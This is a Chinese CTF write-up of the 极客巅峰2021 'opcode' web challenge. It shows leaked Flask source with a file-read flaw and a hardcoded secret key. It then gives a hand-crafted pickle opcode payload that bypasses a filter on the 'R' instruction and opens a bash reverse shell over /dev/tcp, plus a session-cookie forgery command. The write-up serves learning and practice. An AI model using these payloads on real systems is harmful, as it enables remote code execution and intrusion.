极客巅峰2021 web opcode

文章目录

  • 前言
  • 一、源码泄露
  • 二、分析源码
  • 二、解题步骤
  • 总结
  • 更新


前言

打完了极客巅峰,说说感想:真就越来越菜了??签到都没出,直接0分,比刚入门那会儿还惨

下了两个pwn,一个 五六个libc+两个可执行文件,解压都懒得解压,一个malloc直接劝退,技能点还没点到

看到密码学有个 rsa,还以为到自己技能范围了,那么小的N居然不能分解,那么大个e居然不能破解,罢了罢了,只能说出题人水平真的高,学了一学期的中国剩余定理都没整明白,不觉得自己能在几小时内搞懂

web js 也没审出个啥东西来,刚好最近在搞反序列化,但是第一个着实被绕晕了,感觉利用点蛮多,却一个用不上,搜到个洞poc都没看懂,真想找个师傅带带啊

第二个pickle反序列化思路就清晰多了,幸运的是刚好前段时间在看 pickle 反序列化,不幸的是,刚好跳过了 __reduce__ 不能用的情况,结果当时看这个题的时候只有几分钟了,错过了这次0的突破,不过刚好趁着这题补个课了,在这里做个记录

尽量还原了一下题目环境,供师傅们复现 opcode


一、源码泄露

登陆的时候抓个包,很明显的任意文件读取,读了一下 /proc/self/cmdline 发现运行的是 app.py,其实也算是比较多余了,一般来说都是这个,然后读取 app.py 获得源码,查看网页源码,图片 src 中的 base64 就是了

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')


二、分析源码

看到这个源码感觉思路还是蛮明确的,直接泄露了 SECRET_KEY,可以使用 flask-session-cookie-manager 破解session

{'data': b'base64编码后的序列化内容', 'username': 'admin'}

但是比较麻烦的在这里

if "R" in data.decode():
            return "nonono"

序列化字符串中不能存在 R,而 __reduce__ 就是用到了R指令,不过也毫不意外,毕竟题目提示的就是要手写 opcode,在不使用 R 指令的情况下执行命令


二、解题步骤

构造不使用 R 指令执行命令的 payload,不会写没关系,已经有师傅帮我们总结了
pickle反序列化的利用技巧总结,隔空感谢
极客巅峰2021 web opcode_第1张图片
模仿上图的 o 指令,构造反弹shell 的opcode

import base64
import pickletools

a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''

a = pickletools.optimize(a)
print(a)
print(base64.b64encode(a))

# 输出
# b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\'\no.'
# b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u'

顺便一提,因为过滤 R 指令的地方 对序列化内容做了 decode,所以序列化后的内容中不能出现 \x81 这种无法 utf-8 解码的字符

构造 session

{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}

使用 flask-session-cookie-manager 进行加密

python3 flask_session_cookie_manager3.py encode -t "{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}" -s 'y0u-wi11_neuer_kn0vv-!@#se%32'

最后替换掉 cookie 中 session 的值,访问 /admin,即可反弹shell


总结

昨天写到这就停下来了,因为想到题目中重写了 find_class,但是好像并没有生效,还以为是自己不小心动了源码,所以去找了相关的资料,整了很晚也没整出来,最后发现题目本就如此。

立个flag,找时间学学手写opcode,再回来更新,看看是否可以在有沙箱的同时过滤 R 指令,还能命令执行

如果沙箱要生效的话,pickle.loads(data) 应改为 loads(data)

同时给师傅们找到了详细的 flag,极客巅峰2021WP

更新

自己立的 flag 哭着也要完成啊,见 手撸 opcode

你可能感兴趣的:(ctf,pickle反序列化,web安全)